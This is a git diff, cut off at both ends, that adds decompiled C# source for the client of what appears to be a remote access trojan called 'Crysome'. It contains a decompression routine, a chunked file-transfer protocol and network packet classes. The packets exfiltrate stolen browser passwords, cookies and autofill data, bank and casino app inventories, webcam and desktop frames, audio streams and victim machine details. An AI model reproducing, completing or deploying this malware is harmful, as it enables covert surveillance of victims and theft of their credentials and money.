+= 2; + } + else + { + num11 = source[num2 + 2]; + num2 += 3; + } + } + else + { + uint num12; + if ((num7 & 3) == 0) + { + num12 = (num7 & 0xFF) >> 2; + num11 = 3u; + num2++; + } + else if ((num7 & 2) == 0) + { + num12 = (num7 & 0xFFFF) >> 2; + num11 = 3u; + num2 += 2; + } + else if ((num7 & 1) == 0) + { + num12 = (num7 & 0xFFFF) >> 6; + num11 = ((num7 >> 2) & 0xF) + 3; + num2 += 2; + } + else if ((num7 & 0x7F) != 3) + { + num12 = (num7 >> 7) & 0x1FFFF; + num11 = ((num7 >> 2) & 0x1F) + 2; + num2 += 3; + } + else + { + num12 = num7 >> 15; + num11 = ((num7 >> 7) & 0xFF) + 3; + num2 += 4; + } + num10 = (uint)(num3 - num12); + } + array[num3] = array[num10]; + array[num3 + 1] = array[num10 + 1]; + array[num3 + 2] = array[num10 + 2]; + for (int i = 3; i < num11; i++) + { + array[num3 + i] = array[num10 + i]; + } + num3 += (int)num11; + if (num8 == 1) + { + num7 = (uint)(array[num6 + 1] | (array[num6 + 2] << 8) | (array[num6 + 3] << 16)); + while (num6 < num3 - num11) + { + num6++; + int num9 = (int)(((num7 >> 12) ^ num7) & 0xFFF); + array2[num9] = num6; + array3[num9] = 1; + num7 = (uint)(((num7 >> 8) & 0xFFFF) | (array[num6 + 3] << 16)); + } + num7 = (uint)(source[num2] | (source[num2 + 1] << 8) | (source[num2 + 2] << 16)); + } + else + { + num7 = (uint)(source[num2] | (source[num2 + 1] << 8) | (source[num2 + 2] << 16) | (source[num2 + 3] << 24)); + } + num6 = num3 - 1; + continue; + } + if (num3 > num5) + { + break; + } + array[num3] = source[num2]; + num3++; + num2++; + num4 >>= 1; + if (num8 == 1) + { + while (num6 < num3 - 3) + { + num6++; + int num13 = array[num6] | (array[num6 + 1] << 8) | (array[num6 + 2] << 16); + int num9 = ((num13 >> 12) ^ num13) & 0xFFF; + array2[num9] = num6; + array3[num9] = 1; + } + num7 = (uint)(((num7 >> 8) & 0xFFFF) | (source[num2 + 2] << 16)); + } + else + { + num7 = (uint)(((num7 >> 8) & 0xFFFF) | (source[num2 + 2] << 16) | (source[num2 + 3] << 24)); + } + } + while (num3 <= num - 1) + { + if (num4 == 1) + { + num2 += 4; + num4 = 2147483648u; + } + array[num3] = source[num2]; + num3++; + num2++; + num4 >>= 1; + } + return array; + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Model/FileSystemEntry.cs b/Crysome.Common.Client/Crysome.Common.Model/FileSystemEntry.cs new file mode 100644 index 0000000..8df0c07 --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Model/FileSystemEntry.cs @@ -0,0 +1,52 @@ +using System; + +namespace Crysome.Common.Model; + +public class FileSystemEntry +{ + public string Name { get; set; } + + public string Path { get; set; } + + public long Size { get; set; } + + public FileType Type { get; set; } + + public long LastWriteUtcTicks { get; set; } + + public byte[] IconPng { get; set; } + + public DateTime LastWriteUtc + { + get + { + if (LastWriteUtcTicks <= 0) + { + return DateTime.MinValue; + } + return new DateTime(LastWriteUtcTicks, DateTimeKind.Utc); + } + } + + public string ModifiedDisplay + { + get + { + if (LastWriteUtcTicks <= 0) + { + return ""; + } + return new DateTime(LastWriteUtcTicks, DateTimeKind.Utc).ToLocalTime().ToString("yyyy-MM-dd HH:mm"); + } + } + + public FileSystemEntry(string name, string path, long size, FileType type, long lastWriteUtcTicks = 0L, byte[] iconPng = null) + { + Name = name; + Path = path; + Size = size; + Type = type; + LastWriteUtcTicks = lastWriteUtcTicks; + IconPng = iconPng; + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Model/FileType.cs b/Crysome.Common.Client/Crysome.Common.Model/FileType.cs new file mode 100644 index 0000000..3c7fdad --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Model/FileType.cs @@ -0,0 +1,7 @@ +namespace Crysome.Common.Model; + +public enum FileType +{ + Directory, + File +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.FileTransfer/Crc32.cs b/Crysome.Common.Client/Crysome.Common.Network.FileTransfer/Crc32.cs new file mode 100644 index 0000000..79d237b --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.FileTransfer/Crc32.cs @@ -0,0 +1,32 @@ +namespace Crysome.Common.Network.FileTransfer; + +internal static class Crc32 +{ + private static readonly uint[] _table = Build(); + + private static uint[] Build() + { + uint[] array = new uint[256]; + for (uint num = 0u; num < 256; num++) + { + uint num2 = num; + for (int i = 0; i < 8; i++) + { + num2 = (((num2 & 1) != 0) ? (0xEDB88320u ^ (num2 >> 1)) : (num2 >> 1)); + } + array[num] = num2; + } + return array; + } + + internal static uint Compute(byte[] data, int offset, int len) + { + uint num = uint.MaxValue; + int num2 = offset + len; + for (int i = offset; i < num2; i++) + { + num = (num >> 8) ^ _table[(num ^ data[i]) & 0xFF]; + } + return num ^ 0xFFFFFFFFu; + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.FileTransfer/FtAbortPacket.cs b/Crysome.Common.Client/Crysome.Common.Network.FileTransfer/FtAbortPacket.cs new file mode 100644 index 0000000..bd1d566 --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.FileTransfer/FtAbortPacket.cs @@ -0,0 +1,23 @@ +using System.IO; +using Crysome.Common.Network.Packets; + +namespace Crysome.Common.Network.FileTransfer; + +public sealed class FtAbortPacket : IPacket +{ + public uint TransferId; + + public string Reason; + + public void Write(BinaryWriter w) + { + w.Write(TransferId); + w.Write(Reason ?? ""); + } + + public void Read(BinaryReader r) + { + TransferId = r.ReadUInt32(); + Reason = r.ReadString(); + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.FileTransfer/FtChunkPacket.cs b/Crysome.Common.Client/Crysome.Common.Network.FileTransfer/FtChunkPacket.cs new file mode 100644 index 0000000..3d3b03a --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.FileTransfer/FtChunkPacket.cs @@ -0,0 +1,38 @@ +using System; +using System.IO; +using Crysome.Common.Network.Packets; + +namespace Crysome.Common.Network.FileTransfer; + +public sealed class FtChunkPacket : IPacket +{ + public uint TransferId; + + public int ChunkIdx; + + public uint Crc32; + + public byte[] Data; + + public void Write(BinaryWriter w) + { + w.Write(TransferId); + w.Write(ChunkIdx); + w.Write(Crc32); + int num = ((Data != null) ? Data.Length : 0); + w.Write(num); + if (num > 0) + { + w.Write(Data); + } + } + + public void Read(BinaryReader r) + { + TransferId = r.ReadUInt32(); + ChunkIdx = r.ReadInt32(); + Crc32 = r.ReadUInt32(); + int num = r.ReadInt32(); + Data = ((num > 0) ? r.ReadBytes(num) : Array.Empty()); + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.FileTransfer/FtDonePacket.cs b/Crysome.Common.Client/Crysome.Common.Network.FileTransfer/FtDonePacket.cs new file mode 100644 index 0000000..bd557b8 --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.FileTransfer/FtDonePacket.cs @@ -0,0 +1,27 @@ +using System.IO; +using Crysome.Common.Network.Packets; + +namespace Crysome.Common.Network.FileTransfer; + +public sealed class FtDonePacket : IPacket +{ + public uint TransferId; + + public bool Success; + + public string Message; + + public void Write(BinaryWriter w) + { + w.Write(TransferId); + w.Write(Success); + w.Write(Message ?? ""); + } + + public void Read(BinaryReader r) + { + TransferId = r.ReadUInt32(); + Success = r.ReadBoolean(); + Message = r.ReadString(); + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.FileTransfer/FtReceiver.cs b/Crysome.Common.Client/Crysome.Common.Network.FileTransfer/FtReceiver.cs new file mode 100644 index 0000000..d09f12b --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.FileTransfer/FtReceiver.cs @@ -0,0 +1,162 @@ +using System; +using System.Collections.Generic; +using System.Security.Cryptography; +using System.Threading; + +namespace Crysome.Common.Network.FileTransfer; + +public sealed class FtReceiver +{ + private const int SackIntervalMs = 200; + + private readonly CrysomeClient _client; + + private uint _id; + + private string _fileName; + + private int _totalChunks; + + private long _totalBytes; + + private byte[] _expectedSha256; + + private byte[][] _chunks; + + private bool[] _received; + + private int _receivedCount; + + private int _highestContiguous = -1; + + private int _lastSackTick; + + private bool _finalised; + + public Action OnComplete; + + public Action OnError; + + public FtReceiver(CrysomeClient client) + { + _client = client; + } + + public void HandleStart(FtStartPacket p) + { + _id = p.TransferId; + _fileName = p.FileName; + _totalChunks = Math.Max(1, p.TotalChunks); + _totalBytes = p.TotalBytes; + _expectedSha256 = p.Sha256; + _chunks = new byte[_totalChunks][]; + _received = new bool[_totalChunks]; + _receivedCount = 0; + _highestContiguous = -1; + _lastSackTick = Environment.TickCount - 400; + _finalised = false; + } + + public void HandleChunk(FtChunkPacket p) + { + if (_chunks == null || p.TransferId != _id || _finalised) + { + return; + } + int chunkIdx = p.ChunkIdx; + if (chunkIdx >= 0 && chunkIdx < _totalChunks && !_received[chunkIdx] && p.Data != null && Crc32.Compute(p.Data, 0, p.Data.Length) == p.Crc32) + { + _chunks[chunkIdx] = p.Data; + _received[chunkIdx] = true; + Interlocked.Increment(ref _receivedCount); + while (_highestContiguous + 1 < _totalChunks && _received[_highestContiguous + 1]) + { + _highestContiguous++; + } + int tickCount = Environment.TickCount; + bool num = _receivedCount == _totalChunks; + if (num || tickCount - _lastSackTick >= 200) + { + _lastSackTick = tickCount; + SendSack(); + } + if (num) + { + Finalise(); + } + } + } + + public void HandleAbort(FtAbortPacket p) + { + if (p.TransferId == _id) + { + OnError?.Invoke("Transfer aborted by sender: " + p.Reason); + } + } + + private void SendSack() + { + List list = new List(); + int num = _highestContiguous + 1; + int num2 = Math.Min(_totalChunks, num + 64); + for (int i = num; i < num2; i++) + { + if (!_received[i]) + { + list.Add(i); + } + } + _client.SendPacket(new FtSackPacket + { + TransferId = _id, + HighestContiguous = _highestContiguous, + NackList = list.ToArray() + }); + } + + private void Finalise() + { + if (_finalised) + { + return; + } + _finalised = true; + byte[] array = new byte[_totalBytes]; + long num = 0L; + for (int i = 0; i < _totalChunks; i++) + { + byte[] array2 = _chunks[i]; + Buffer.BlockCopy(array2, 0, array, (int)num, array2.Length); + num += array2.Length; + } + byte[] array3; + using (SHA256 sHA = SHA256.Create()) + { + array3 = sHA.ComputeHash(array); + } + bool flag = true; + for (int j = 0; j < 32; j++) + { + if (array3[j] != _expectedSha256[j]) + { + flag = false; + break; + } + } + _client.SendPacket(new FtDonePacket + { + TransferId = _id, + Success = flag, + Message = (flag ? "OK" : "HASH_MISMATCH") + }); + if (flag) + { + OnComplete?.Invoke(_fileName, array); + } + else + { + OnError?.Invoke("SHA-256 mismatch — file rejected"); + } + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.FileTransfer/FtSackPacket.cs b/Crysome.Common.Client/Crysome.Common.Network.FileTransfer/FtSackPacket.cs new file mode 100644 index 0000000..311810e --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.FileTransfer/FtSackPacket.cs @@ -0,0 +1,38 @@ +using System; +using System.IO; +using Crysome.Common.Network.Packets; + +namespace Crysome.Common.Network.FileTransfer; + +public sealed class FtSackPacket : IPacket +{ + public uint TransferId; + + public int HighestContiguous; + + public int[] NackList; + + public void Write(BinaryWriter w) + { + w.Write(TransferId); + w.Write(HighestContiguous); + short num = (short)((NackList != null) ? Math.Min(NackList.Length, 128) : 0); + w.Write(num); + for (int i = 0; i < num; i++) + { + w.Write(NackList[i]); + } + } + + public void Read(BinaryReader r) + { + TransferId = r.ReadUInt32(); + HighestContiguous = r.ReadInt32(); + int num = r.ReadInt16(); + NackList = new int[num]; + for (int i = 0; i < num; i++) + { + NackList[i] = r.ReadInt32(); + } + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.FileTransfer/FtSender.cs b/Crysome.Common.Client/Crysome.Common.Network.FileTransfer/FtSender.cs new file mode 100644 index 0000000..00cf416 --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.FileTransfer/FtSender.cs @@ -0,0 +1,172 @@ +using System; +using System.Security.Cryptography; +using System.Threading; +using System.Threading.Tasks; + +namespace Crysome.Common.Network.FileTransfer; + +public sealed class FtSender +{ + public const int ChunkSize = 1200; + + private const int AbortTimeoutMs = 600000; + + private const int SackWaitMs = 500; + + private const int ChunkPaceMs = 2; + + private readonly CrysomeClient _client; + + private readonly byte[] _data; + + private readonly string _fileName; + + private readonly byte[] _sha256; + + private volatile bool _done; + + private volatile int _ackedChunks; + + public Action OnDone; + + private static int _nextId; + + public uint TransferId { get; } + + public int TotalChunks => Math.Max(1, (_data.Length + 1200 - 1) / 1200); + + public FtSender(CrysomeClient client, string fileName, byte[] data) + { + _client = client; + _data = data; + _fileName = fileName; + TransferId = (uint)Interlocked.Increment(ref _nextId); + using SHA256 sHA = SHA256.Create(); + _sha256 = sHA.ComputeHash(data); + } + + public void Start() + { + Task.Run((Action)Run); + } + + public void HandleDone(FtDonePacket p) + { + if (p.TransferId == TransferId) + { + _done = true; + OnDone?.Invoke(TransferId, p.Success, p.Message); + } + } + + public void HandleSack(FtSackPacket p) + { + if (p.TransferId != TransferId || _done) + { + return; + } + if (p.HighestContiguous >= 0) + { + _ackedChunks = Math.Max(_ackedChunks, p.HighestContiguous + 1); + } + if (p.NackList == null) + { + return; + } + int[] nackList = p.NackList; + foreach (int num in nackList) + { + if (num >= 0 && num < TotalChunks) + { + SendChunk(num); + } + } + } + + private void Run() + { + try + { + int totalChunks = TotalChunks; + _client.SendPacket(new FtStartPacket + { + TransferId = TransferId, + FileName = _fileName, + TotalChunks = totalChunks, + ChunkSize = 1200, + TotalBytes = _data.Length, + Sha256 = _sha256 + }); + Thread.Sleep(50); + DateTime utcNow = DateTime.UtcNow; + int num = 0; + DateTime utcNow2 = DateTime.UtcNow; + for (int i = 0; i < totalChunks; i++) + { + if (_done) + { + break; + } + SendChunk(i); + if (i % 32 == 31) + { + Thread.Sleep(2); + } + if ((DateTime.UtcNow - utcNow).TotalMilliseconds > 600000.0) + { + _client.SendPacket(new FtAbortPacket + { + TransferId = TransferId, + Reason = "Sender timeout" + }); + OnDone?.Invoke(TransferId, arg2: false, "ERR: Send timeout"); + return; + } + } + utcNow2 = DateTime.UtcNow; + num = _ackedChunks; + while (!_done) + { + Thread.Sleep(500); + int ackedChunks = _ackedChunks; + if (ackedChunks > num) + { + num = ackedChunks; + utcNow2 = DateTime.UtcNow; + } + double totalMilliseconds = (DateTime.UtcNow - utcNow2).TotalMilliseconds; + double totalMilliseconds2 = (DateTime.UtcNow - utcNow).TotalMilliseconds; + if (totalMilliseconds > 60000.0 || totalMilliseconds2 > 600000.0) + { + _client.SendPacket(new FtAbortPacket + { + TransferId = TransferId, + Reason = "Done-ack timeout" + }); + OnDone?.Invoke(TransferId, arg2: false, "ERR: No confirmation from client"); + break; + } + } + } + catch (Exception ex) + { + _done = true; + OnDone?.Invoke(TransferId, arg2: false, "ERR: " + ex.Message); + } + } + + private void SendChunk(int idx) + { + int num = idx * 1200; + int num2 = Math.Min(1200, _data.Length - num); + byte[] array = new byte[num2]; + Buffer.BlockCopy(_data, num, array, 0, num2); + _client.SendPacket(new FtChunkPacket + { + TransferId = TransferId, + ChunkIdx = idx, + Crc32 = Crc32.Compute(_data, num, num2), + Data = array + }); + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.FileTransfer/FtStartPacket.cs b/Crysome.Common.Client/Crysome.Common.Network.FileTransfer/FtStartPacket.cs new file mode 100644 index 0000000..d800e2d --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.FileTransfer/FtStartPacket.cs @@ -0,0 +1,39 @@ +using System.IO; +using Crysome.Common.Network.Packets; + +namespace Crysome.Common.Network.FileTransfer; + +public sealed class FtStartPacket : IPacket +{ + public uint TransferId; + + public string FileName; + + public int TotalChunks; + + public int ChunkSize; + + public long TotalBytes; + + public byte[] Sha256; + + public void Write(BinaryWriter w) + { + w.Write(TransferId); + w.Write(FileName ?? ""); + w.Write(TotalChunks); + w.Write(ChunkSize); + w.Write(TotalBytes); + w.Write(Sha256 ?? new byte[32]); + } + + public void Read(BinaryReader r) + { + TransferId = r.ReadUInt32(); + FileName = r.ReadString(); + TotalChunks = r.ReadInt32(); + ChunkSize = r.ReadInt32(); + TotalBytes = r.ReadInt64(); + Sha256 = r.ReadBytes(32); + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/AudioDataPacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/AudioDataPacket.cs new file mode 100644 index 0000000..b73c694 --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/AudioDataPacket.cs @@ -0,0 +1,32 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Client; + +public class AudioDataPacket : IPacket +{ + public byte[] WavData { get; set; } + + public AudioDataPacket() + { + } + + public AudioDataPacket(byte[] wavData) + { + WavData = wavData; + } + + public void Write(BinaryWriter w) + { + w.Write((WavData != null) ? WavData.Length : 0); + if (WavData != null && WavData.Length != 0) + { + w.Write(WavData); + } + } + + public void Read(BinaryReader r) + { + int num = r.ReadInt32(); + WavData = ((num > 0) ? r.ReadBytes(num) : new byte[0]); + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/AudioDevicesResponsePacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/AudioDevicesResponsePacket.cs new file mode 100644 index 0000000..5915c04 --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/AudioDevicesResponsePacket.cs @@ -0,0 +1,42 @@ +using System; +using System.IO; + +namespace Crysome.Common.Network.Packets.Client; + +public class AudioDevicesResponsePacket : IPacket +{ + public string[] DeviceNames { get; set; } = Array.Empty(); + + public AudioDevicesResponsePacket() + { + } + + public AudioDevicesResponsePacket(string[] names) + { + DeviceNames = names ?? Array.Empty(); + } + + public void Write(BinaryWriter w) + { + string[] deviceNames = DeviceNames; + w.Write((deviceNames != null) ? deviceNames.Length : 0); + if (DeviceNames != null) + { + string[] deviceNames2 = DeviceNames; + foreach (string text in deviceNames2) + { + w.Write(text ?? ""); + } + } + } + + public void Read(BinaryReader r) + { + int num = r.ReadInt32(); + DeviceNames = new string[num]; + for (int i = 0; i < num; i++) + { + DeviceNames[i] = r.ReadString(); + } + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/AudioStreamChunkPacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/AudioStreamChunkPacket.cs new file mode 100644 index 0000000..31c1746 --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/AudioStreamChunkPacket.cs @@ -0,0 +1,33 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Client; + +public class AudioStreamChunkPacket : IPacket +{ + public byte[] Chunk { get; set; } = new byte[0]; + + public AudioStreamChunkPacket() + { + } + + public AudioStreamChunkPacket(byte[] chunk) + { + Chunk = chunk ?? new byte[0]; + } + + public void Write(BinaryWriter w) + { + byte[] chunk = Chunk; + w.Write((chunk != null) ? chunk.Length : 0); + if (Chunk != null && Chunk.Length != 0) + { + w.Write(Chunk); + } + } + + public void Read(BinaryReader r) + { + int num = r.ReadInt32(); + Chunk = ((num > 0) ? r.ReadBytes(num) : new byte[0]); + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/CameraDevicesResponsePacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/CameraDevicesResponsePacket.cs new file mode 100644 index 0000000..0ab5259 --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/CameraDevicesResponsePacket.cs @@ -0,0 +1,42 @@ +using System; +using System.IO; + +namespace Crysome.Common.Network.Packets.Client; + +public class CameraDevicesResponsePacket : IPacket +{ + public string[] DeviceNames { get; set; } = Array.Empty(); + + public CameraDevicesResponsePacket() + { + } + + public CameraDevicesResponsePacket(string[] names) + { + DeviceNames = names ?? Array.Empty(); + } + + public void Write(BinaryWriter w) + { + string[] deviceNames = DeviceNames; + w.Write((deviceNames != null) ? deviceNames.Length : 0); + if (DeviceNames != null) + { + string[] deviceNames2 = DeviceNames; + foreach (string text in deviceNames2) + { + w.Write(text ?? ""); + } + } + } + + public void Read(BinaryReader r) + { + int num = r.ReadInt32(); + DeviceNames = new string[num]; + for (int i = 0; i < num; i++) + { + DeviceNames[i] = r.ReadString(); + } + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/CameraFramePacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/CameraFramePacket.cs new file mode 100644 index 0000000..316b69d --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/CameraFramePacket.cs @@ -0,0 +1,32 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Client; + +public class CameraFramePacket : IPacket +{ + public byte[] JpegData { get; set; } + + public CameraFramePacket() + { + } + + public CameraFramePacket(byte[] jpegData) + { + JpegData = jpegData; + } + + public void Write(BinaryWriter w) + { + w.Write((JpegData != null) ? JpegData.Length : 0); + if (JpegData != null && JpegData.Length != 0) + { + w.Write(JpegData); + } + } + + public void Read(BinaryReader r) + { + int num = r.ReadInt32(); + JpegData = ((num > 0) ? r.ReadBytes(num) : new byte[0]); + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/ClientInfoResponsePacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/ClientInfoResponsePacket.cs new file mode 100644 index 0000000..56e4cfa --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/ClientInfoResponsePacket.cs @@ -0,0 +1,77 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Client; + +public class ClientInfoResponsePacket : IPacket +{ + public string Identifier { get; set; } + + public string Address { get; set; } + + public int Port { get; set; } + + public string Username { get; set; } + + public string ComputerName { get; set; } + + public string OS { get; set; } + + public string ActiveWindow { get; set; } + + public string Uptime { get; set; } + + public string CountryCode { get; set; } + + public string Group { get; set; } + + public string GPU { get; set; } + + public ClientInfoResponsePacket() + { + } + + public ClientInfoResponsePacket(string identifier, string address, int port, string username, string computerName, string os, string activeWindow, string uptime, string countryCode, string group, string gpu = "") + { + Identifier = identifier; + Address = address; + Port = port; + Username = username; + ComputerName = computerName; + OS = os; + ActiveWindow = activeWindow; + Uptime = uptime; + CountryCode = countryCode; + Group = group; + GPU = gpu; + } + + public void Write(BinaryWriter w) + { + w.Write(Identifier ?? ""); + w.Write(Address ?? ""); + w.Write(Port); + w.Write(Username ?? ""); + w.Write(ComputerName ?? ""); + w.Write(OS ?? ""); + w.Write(ActiveWindow ?? ""); + w.Write(Uptime ?? ""); + w.Write(CountryCode ?? ""); + w.Write(Group ?? ""); + w.Write(GPU ?? ""); + } + + public void Read(BinaryReader r) + { + Identifier = r.ReadString(); + Address = r.ReadString(); + Port = r.ReadInt32(); + Username = r.ReadString(); + ComputerName = r.ReadString(); + OS = r.ReadString(); + ActiveWindow = r.ReadString(); + Uptime = r.ReadString(); + CountryCode = r.ReadString(); + Group = r.ReadString(); + GPU = r.ReadString(); + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/ClientInventoryReportPacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/ClientInventoryReportPacket.cs new file mode 100644 index 0000000..22dd6a6 --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/ClientInventoryReportPacket.cs @@ -0,0 +1,33 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Client; + +public class ClientInventoryReportPacket : IPacket +{ + public string AppsJson { get; set; } + + public string BankJson { get; set; } + + public string CasinoJson { get; set; } + + public void Write(BinaryWriter w) + { + w.Write(AppsJson ?? ""); + w.Write(BankJson ?? ""); + w.Write(CasinoJson ?? ""); + } + + public void Read(BinaryReader r) + { + AppsJson = r.ReadString(); + BankJson = r.ReadString(); + try + { + CasinoJson = r.ReadString(); + } + catch + { + CasinoJson = ""; + } + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/CredentialsResponsePacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/CredentialsResponsePacket.cs new file mode 100644 index 0000000..410700b --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/CredentialsResponsePacket.cs @@ -0,0 +1,63 @@ +using System.IO; +using System.Text; + +namespace Crysome.Common.Network.Packets.Client; + +public class CredentialsResponsePacket : IPacket +{ + public string ErrorMessage { get; set; } + + public string PasswordsJson { get; set; } + + public string CookiesJson { get; set; } + + public string AutofillsJson { get; set; } + + public CredentialsResponsePacket() + { + } + + public CredentialsResponsePacket(string errorMessage, string passwordsJson = null, string cookiesJson = null, string autofillsJson = null) + { + ErrorMessage = errorMessage ?? ""; + PasswordsJson = passwordsJson ?? ""; + CookiesJson = cookiesJson ?? ""; + AutofillsJson = autofillsJson ?? ""; + } + + public void Write(BinaryWriter w) + { + WriteString(w, ErrorMessage); + WriteString(w, PasswordsJson); + WriteString(w, CookiesJson); + WriteString(w, AutofillsJson); + } + + public void Read(BinaryReader r) + { + ErrorMessage = ReadString(r); + PasswordsJson = ReadString(r); + CookiesJson = ReadString(r); + AutofillsJson = ReadString(r); + } + + private static void WriteString(BinaryWriter w, string s) + { + byte[] bytes = Encoding.UTF8.GetBytes(s ?? ""); + w.Write(bytes.Length); + if (bytes.Length != 0) + { + w.Write(bytes); + } + } + + private static string ReadString(BinaryReader r) + { + int num = r.ReadInt32(); + if (num <= 0) + { + return ""; + } + return Encoding.UTF8.GetString(r.ReadBytes(num)); + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/DesktopFramePacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/DesktopFramePacket.cs new file mode 100644 index 0000000..4b66f3a --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/DesktopFramePacket.cs @@ -0,0 +1,32 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Client; + +public class DesktopFramePacket : IPacket +{ + public byte[] ImageData { get; set; } + + public DesktopFramePacket() + { + } + + public DesktopFramePacket(byte[] imageData) + { + ImageData = imageData; + } + + public void Write(BinaryWriter w) + { + w.Write((ImageData != null) ? ImageData.Length : 0); + if (ImageData != null && ImageData.Length != 0) + { + w.Write(ImageData); + } + } + + public void Read(BinaryReader r) + { + int num = r.ReadInt32(); + ImageData = ((num > 0) ? r.ReadBytes(num) : new byte[0]); + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/DirectLinkResponsePacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/DirectLinkResponsePacket.cs new file mode 100644 index 0000000..271d3a1 --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/DirectLinkResponsePacket.cs @@ -0,0 +1,27 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Client; + +public class DirectLinkResponsePacket : IPacket +{ + public string Status { get; set; } + + public DirectLinkResponsePacket() + { + } + + public DirectLinkResponsePacket(string status) + { + Status = status; + } + + public void Write(BinaryWriter w) + { + w.Write(Status ?? ""); + } + + public void Read(BinaryReader r) + { + Status = r.ReadString(); + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/FileTransferResponsePacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/FileTransferResponsePacket.cs new file mode 100644 index 0000000..ebd7f02 --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/FileTransferResponsePacket.cs @@ -0,0 +1,27 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Client; + +public class FileTransferResponsePacket : IPacket +{ + public string Status { get; set; } + + public FileTransferResponsePacket() + { + } + + public FileTransferResponsePacket(string status) + { + Status = status; + } + + public void Write(BinaryWriter w) + { + w.Write(Status ?? ""); + } + + public void Read(BinaryReader r) + { + Status = r.ReadString(); + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/GetDirectoryResponsePacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/GetDirectoryResponsePacket.cs new file mode 100644 index 0000000..60f2289 --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/GetDirectoryResponsePacket.cs @@ -0,0 +1,152 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Client; + +public class GetDirectoryResponsePacket : IPacket +{ + public string Name { get; set; } + + public string Path { get; set; } + + public string[] Folders { get; set; } + + public string[] Files { get; set; } + + public long[] FileSizes { get; set; } + + public long[] FolderLastWriteUtcTicks { get; set; } + + public long[] FileLastWriteUtcTicks { get; set; } + + public byte[][] FolderIconPng { get; set; } + + public byte[][] FileIconPng { get; set; } + + public long RequestId { get; set; } + + public void Write(BinaryWriter w) + { + w.Write(Name ?? ""); + w.Write(Path ?? ""); + int num = ((Folders != null) ? Folders.Length : 0); + w.Write(num); + if (Folders != null) + { + for (int i = 0; i < num; i++) + { + w.Write(Folders[i] ?? ""); + } + } + int num2 = ((Files != null) ? Files.Length : 0); + w.Write(num2); + if (Files != null) + { + for (int j = 0; j < num2; j++) + { + w.Write(Files[j] ?? ""); + } + } + w.Write((FileSizes != null) ? FileSizes.Length : 0); + if (FileSizes != null) + { + for (int k = 0; k < FileSizes.Length; k++) + { + w.Write(FileSizes[k]); + } + } + for (int l = 0; l < num; l++) + { + long value = ((FolderLastWriteUtcTicks != null && l < FolderLastWriteUtcTicks.Length) ? FolderLastWriteUtcTicks[l] : 0); + w.Write(value); + } + for (int m = 0; m < num2; m++) + { + long value2 = ((FileLastWriteUtcTicks != null && m < FileLastWriteUtcTicks.Length) ? FileLastWriteUtcTicks[m] : 0); + w.Write(value2); + } + 